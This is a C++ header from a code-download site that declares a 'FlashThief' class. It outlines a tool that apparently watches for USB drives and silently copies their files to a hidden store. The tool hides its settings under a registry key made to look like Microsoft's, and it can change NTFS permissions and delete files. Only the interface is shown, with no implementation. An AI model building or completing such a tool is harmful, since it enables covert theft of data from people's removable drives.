⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 flashthief.h

📁 两年前吧
💻 H
字号:
// FlashThief.h: FlashThief 类的接口。

#pragma once

#include <Aclapi.h>


#define STEAL_UNSTART			0
#define STEAL_RUNNING			1
#define STEAL_STOP_PENDING		2
#define STEAL_STOPPED			3
#define STEAL_PAUSE_PENDING		4
#define STEAL_CONTINUE_PENDING	5

#define CFG_REG_SUBKEY		_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\FlashWatcher")
#define CFG_REG_STORE		_T("StorePath")
#define CFG_REG_SIZES		_T("MaxFileSizes")
#define CFG_REG_INTERVAL	_T("Interval")

#define CFG_MIN_INTERVAL	3000

#define PROFILE_APPNAME				_T("Info")
#define PROFILE_KEY_COMPLETE_TIME	_T("CompleteTime")
#define PROFILE_KEY_LASTCHECK_TIME	_T("LastCheckTime")

#define PATH_SEPARATOR_S _T("\\")
#define PATH_SEPARATOR_C _T('\\')

class FlashThief
{
public:
	// 构造函数
	FlashThief();
	// 析构函数
	virtual ~FlashThief();

	// 初始化实例参数
	void Init();
	// 去掉字符串末尾指定的字符
	bool TrimRight(
		LPTSTR lpString, 
		TCHAR ch = PATH_SEPARATOR_C, 
		size_t* lpSize = NULL);
	// 判断文件(夹)是否存在
	bool FileExists(
		LPCTSTR lpFileName, 
		bool bCheckDirectory = false);
	// 判断文件名称是否为“.”或“..”
	bool IsDotsDirectory(LPCTSTR lpFileName);
	// 删除文件
	DWORD _DeleteFile(LPCTSTR lpFileName);
	// 删除空目录
	DWORD _RemoveDirectory(LPCTSTR lpPathName);
	// 删除文件或目录,包括非空目录
	bool RecursiveDelete(
		LPCTSTR pszPathName, 
		size_t uPathSize = 0, 
		bool bAppendAsterisk = true);
	// 设置磁盘文件(夹)的NTFS权限
	DWORD AddAceToObjectsSecurityDescriptor(
		LPTSTR pszObjName, 
		SE_OBJECT_TYPE ObjectType, 
		LPTSTR pszTrustee, 
		TRUSTEE_FORM TrusteeForm, 
		DWORD dwAccessRights, 
		ACCESS_MODE AccessMode, 
		DWORD dwInheritance);
	// 检查并创建指定的目录路径
	BOOL CheckCreateDir(
		LPCTSTR lpPathName, 
		bool bCreateParent = true, 
		LPSECURITY_ATTRIBUTES lpSecurityAttributes = NULL);
	// 获取日期时间字符串
	void GetDateTimeString(
		LPTSTR lpDst, 
		size_t DstSize, 
		bool bIncludeTime = false);
	// 判断是否为可移动磁盘驱动器
	bool IsFlashDisk(LPCTSTR lpRootPathName);
	// 复制文件
	BOOL _CopyFile(
		LPCTSTR lpExistingFileName, 
		LPCTSTR lpNewFileName);
	// 从源路径获取文件到目标路径
	void GetFiles(
		LPCTSTR lpSrcPathName, 
		LPCTSTR lpDstPathName, 
		bool bCheckSteal = true);
	// 搜索可用的可移动磁盘驱动器
	void StealFiles();
	// 读取 Profile 配置
	DWORD GetValue(
		LPTSTR lpBuffer, 
		DWORD dwBufferSize, 
		LPCTSTR lpKeyName, 
		LPCTSTR lpFilePath);
	// 设置 Profile 配置
	BOOL SetValue(
		LPCTSTR lpKeyName, 
		LPCTSTR lpValue, 
		LPCTSTR lpFilePath);
	// 获取文件状态
	int m_iStatus;
	// 搜索可用的可移动磁盘驱动器的时间间隔
	DWORD m_dwInterval;

private:
	// 获取文件的储存路径
	LPTSTR m_lpStorePath;
	// 总文件大小限制
	DWORD m_dwMaxFileSizes;
	// 复制文件事务的回调函数
	static DWORD CALLBACK CopyProgress(
		LARGE_INTEGER TotalFileSize,
		LARGE_INTEGER TotalBytesTransferred,
		LARGE_INTEGER StreamSize,
		LARGE_INTEGER StreamBytesTransferred,
		DWORD dwStreamNumber,
		DWORD dwCallbackReason,
		HANDLE hSourceFile,
		HANDLE hDestinationFile,
		LPVOID lpData
		);
	// 设置当次获取文件的时间信息
	void SetStealedInfo(
		LPCTSTR lpStorePath, 
		DWORD dwVolumeSN);
	// 检测是否需要重新检查并获取可移动磁盘驱动器的文件
	bool NeedfulChecking(
		LPCTSTR lpStorePath, 
		DWORD dwVolumeSN);
};

extern FlashThief _Thief;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -